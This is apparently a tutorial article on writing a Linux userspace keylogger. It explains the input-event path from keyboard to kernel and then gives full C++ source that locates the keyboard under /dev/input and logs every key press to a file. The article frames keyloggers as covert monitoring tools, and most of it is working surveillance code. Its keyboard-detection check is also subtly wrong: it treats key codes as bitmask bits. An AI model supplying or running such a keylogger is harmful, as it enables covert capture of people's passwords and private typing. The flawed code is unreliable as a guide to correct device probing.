..

Keylogging In Linux

A keylogger is a tool which is often used covertly to monitor keystrokes on a keyboard. In this article, we will cover keylogging in userspace.

Keyboard and Linux

A very basic overview of how a keyboard fits in the bigger scheme is given below:

Here, keyboard does not pass ASCII code of the key pressed. It passes a unique byte per key-down and key-up event, which is called key-code or scan code. When a key is pressed or released, it passes scan code to motherboard over whatever interface it is connectec with. The motherboard will see that there is a keyboard event, and raise an interrupt to CPU. CPU sees this interrupt, and launches a special chunk of code called interrupt handler (which comes from kernel itself, and is registered by populating Interrupt Descriptor Table). The interrupt handler takes information passed by keyboard, and passes this to kernel; which in turn exposes this via special path in devtmpfs (/dev/input/eventX).

In a GUI based system, X server will take these scan codes from kernel, and transform them to key symbol and related metadata. This layer ensures that locale and keyboard map settings are applied correctly (this can be done without X server as well). All the GUI applications launched on the system get events from X server, and therefore will get processed event data.

Based on what we know, we can write a keylogger in two ways:

Finding the keyboard device

The basic logic behind identifying keyboard device is pretty straightforward:

  1. Iterate over /dev/input/ for all files
  2. Check if given file is a character device
  3. Check if given file supports key events
  4. Check if given file has some keys found on keyboards

Here, a system can have more than one keyboards; or devices which pretend to be a keyboard (e.g. barcode scanners). In such cases, you can try to check if multiple keys are supported. Otherwise, you can read all of them, and then process the recorded data later to filter out unwanted devices.

Iterating over directory, and finding character files is trivial with C++17, as shown below:

std::string get_kb_device()
{
    std::string kb_device = "";

    for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
    {
        std::filesystem::file_status status = std::filesystem::status(p);

        if (std::filesystem::is_character_file(status))
        {
            kb_device = p.path().string();
        }
    }
    return kb_device;
}

Checking if the file is indeed a keyboard, and supports keys found on actual keyboards, is little bit more involved. The scheme can be summarised as below:

  1. Check if file is indeed readable.
  2. Use IOCTL to see if key events are supported.
  3. Use IOCTL to see if certain specific keys are supported.

Sample code for the above logic is given below:

std::string filename = p.path().string();
int fd = open(filename.c_str(), O_RDONLY);
if(fd == -1)
{
    std::cerr << "Error: " << strerror(errno) << std::endl;
    continue;
}

int32_t event_bitmap = 0;
int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;

ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
if((EV_KEY & event_bitmap) == EV_KEY)
{
    ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
    if((kbd_bitmap & event_bitmap) == kbd_bitmap)
    {
        // The device supports A, B, C, Z keys, so it probably is a keyboard
        kb_device = filename;
        close(fd);
        break;
    }

}

close(fd);

Reading keyboard events

Once we find the keyboard device, reading the events is straightforward:

  1. Read from keyboard device in object of input_event
  2. Check if even type is EV_KEY (i.e. a key event)
  3. Interpret the fields, and extract scan code
  4. Map scan code to name of key

The structure input_event is defined as follows:

struct input_event {
#if (__BITS_PER_LONG != 32 || !defined(__USE_TIME_BITS64)) && !defined(__KERNEL__)
	struct timeval time;
#define input_event_sec time.tv_sec
#define input_event_usec time.tv_usec
#else
	__kernel_ulong_t __sec;
#if defined(__sparc__) && defined(__arch64__)
	unsigned int __usec;
	unsigned int __pad;
#else
	__kernel_ulong_t __usec;
#endif
#define input_event_sec  __sec
#define input_event_usec __usec
#endif
	__u16 type;
	__u16 code;
	__s32 value;
}

Where,

For a basic scan code to key name mapping, you can use the following map:

std::vector<std::string> keycodes = {
        "RESERVED",
        "ESC",
        "1",
        "2",
        "3",
        "4",
        "5",
        "6",
        "7",
        "8",
        "9",
        "0",
        "MINUS",
        "EQUAL",
        "BACKSPACE",
        "TAB",
        "Q",
        "W",
        "E",
        "R",
        "T",
        "Y",
        "U",
        "I",
        "O",
        "P",
        "LEFTBRACE",
        "RIGHTBRACE",
        "ENTER",
        "LEFTCTRL",
        "A",
        "S",
        "D",
        "F",
        "G",
        "H",
        "J",
        "K",
        "L",
        "SEMICOLON",
        "APOSTROPHE",
        "GRAVE",
        "LEFTSHIFT",
        "BACKSLASH",
        "Z",
        "X",
        "C",
        "V",
        "B",
        "N",
        "M",
        "COMMA",
        "DOT",
        "SLASH",
        "RIGHTSHIFT",
        "KPASTERISK",
        "LEFTALT",
        "SPACE",
        "CAPSLOCK",
        "F1",
        "F2",
        "F3",
        "F4",
        "F5",
        "F6",
        "F7",
        "F8",
        "F9",
        "F10",
        "NUMLOCK",
        "SCROLLLOCK"
};

For sake of completeness, full source code of keylogger is given below:

#include <cstring>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>

#include <sys/stat.h>
#include <linux/input.h>

#include <signal.h>

#include <filesystem>
#include <iostream>
#include <string>
#include <vector>

std::vector<std::string> keycodes = {
        "RESERVED",
        "ESC",
        "1",
        "2",
        "3",
        "4",
        "5",
        "6",
        "7",
        "8",
        "9",
        "0",
        "MINUS",
        "EQUAL",
        "BACKSPACE",
        "TAB",
        "Q",
        "W",
        "E",
        "R",
        "T",
        "Y",
        "U",
        "I",
        "O",
        "P",
        "LEFTBRACE",
        "RIGHTBRACE",
        "ENTER",
        "LEFTCTRL",
        "A",
        "S",
        "D",
        "F",
        "G",
        "H",
        "J",
        "K",
        "L",
        "SEMICOLON",
        "APOSTROPHE",
        "GRAVE",
        "LEFTSHIFT",
        "BACKSLASH",
        "Z",
        "X",
        "C",
        "V",
        "B",
        "N",
        "M",
        "COMMA",
        "DOT",
        "SLASH",
        "RIGHTSHIFT",
        "KPASTERISK",
        "LEFTALT",
        "SPACE",
        "CAPSLOCK",
        "F1",
        "F2",
        "F3",
        "F4",
        "F5",
        "F6",
        "F7",
        "F8",
        "F9",
        "F10",
        "NUMLOCK",
        "SCROLLLOCK"
};

int loop = 1;

void sigint_handler(int sig)
{
    loop = 0;
}

int write_all(int file_desc, const char *str)
{
    int bytesWritten = 0;
    int bytesToWrite = strlen(str);

    do
    {
        bytesWritten = write(file_desc, str, bytesToWrite);

        if(bytesWritten == -1)
        {
            return 0;
        }
        bytesToWrite -= bytesWritten;
        str += bytesWritten;
    } while(bytesToWrite > 0);

    return 1;
}


void safe_write_all(int file_desc, const char *str, int keyboard)
{
    struct sigaction new_actn, old_actn;
    new_actn.sa_handler = SIG_IGN;
    sigemptyset(&new_actn.sa_mask);
    new_actn.sa_flags = 0;

    sigaction(SIGPIPE, &new_actn, &old_actn);

    if(!write_all(file_desc, str))
    {
        close(file_desc);
        close(keyboard);
        std::cerr << "Error: " << strerror(errno) << std::endl;
        exit(1);
    }

    sigaction(SIGPIPE, &old_actn, NULL);
}

void keylogger(int keyboard, int writeout)
{
    int eventSize = sizeof(struct input_event);
    int bytesRead = 0;
    const unsigned int number_of_events = 128;
    struct input_event events[number_of_events];
    int i;

    signal(SIGINT, sigint_handler);

    while(loop)
    {
        bytesRead = read(keyboard, events, eventSize * number_of_events);

        for(i = 0; i < (bytesRead / eventSize); ++i)
        {
            if(events[i].type == EV_KEY)
            {
                if(events[i].value == 1)
                {
                    if(events[i].code > 0 && events[i].code < keycodes.size())
                    {
                        safe_write_all(writeout, keycodes[events[i].code].c_str(), keyboard);
                        safe_write_all(writeout, "\n", keyboard);
                    }
                    else
                    {
                        write(writeout, "UNRECOGNIZED", sizeof("UNRECOGNIZED"));
                    }
                }
            }
        }
    }
    if(bytesRead > 0) safe_write_all(writeout, "\n", keyboard);
}

std::string get_kb_device()
{
    std::string kb_device = "";

    for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
    {
        std::filesystem::file_status status = std::filesystem::status(p);

        if (std::filesystem::is_character_file(status))
        {
            std::string filename = p.path().string();
            int fd = open(filename.c_str(), O_RDONLY);
            if(fd == -1)
            {
                std::cerr << "Error: " << strerror(errno) << std::endl;
                continue;
            }

            int32_t event_bitmap = 0;
            int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;

            ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
            if((EV_KEY & event_bitmap) == EV_KEY)
            {
                // The device acts like a keyboard

                ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
                if((kbd_bitmap & event_bitmap) == kbd_bitmap)
                {
                    // The device supports A, B, C, Z keys, so it probably is a keyboard
                    kb_device = filename;
                    close(fd);
                    break;
                }
            }
            close(fd);
        }
    }
    return kb_device;
}

void print_usage_and_quit(char *application_name)
{
    std::cout << "Usage: " << application_name << " output-file" << std::endl;
    exit(1);
}

int main(int argc, char *argv[])
{
    std::string kb_device = get_kb_device();

    if (argc < 2)
        print_usage_and_quit(argv[0]);

    if(kb_device == "")
        print_usage_and_quit(argv[0]);

    int writeout;
    int keyboard;

    if((writeout = open(argv[1], O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0)
    {
        std::cerr << "Error opening file " << argv[1] << ": " << strerror(errno) << std::endl;
        return 1;
    }

    if((keyboard = open(kb_device.c_str(), O_RDONLY)) < 0)
    {
        std::cerr << "Error accessing keyboard from " << kb_device << ". May require you to be superuser." << std::endl;
        return 1;
    }

    std::cout << "Keyboard device: " << kb_device << std::endl;
    keylogger(keyboard, writeout);

    close(keyboard);
    close(writeout);

    return 0;
}

Implementing proper entries for key press and release, handling backspaces etc. are left as an exercise to the reader.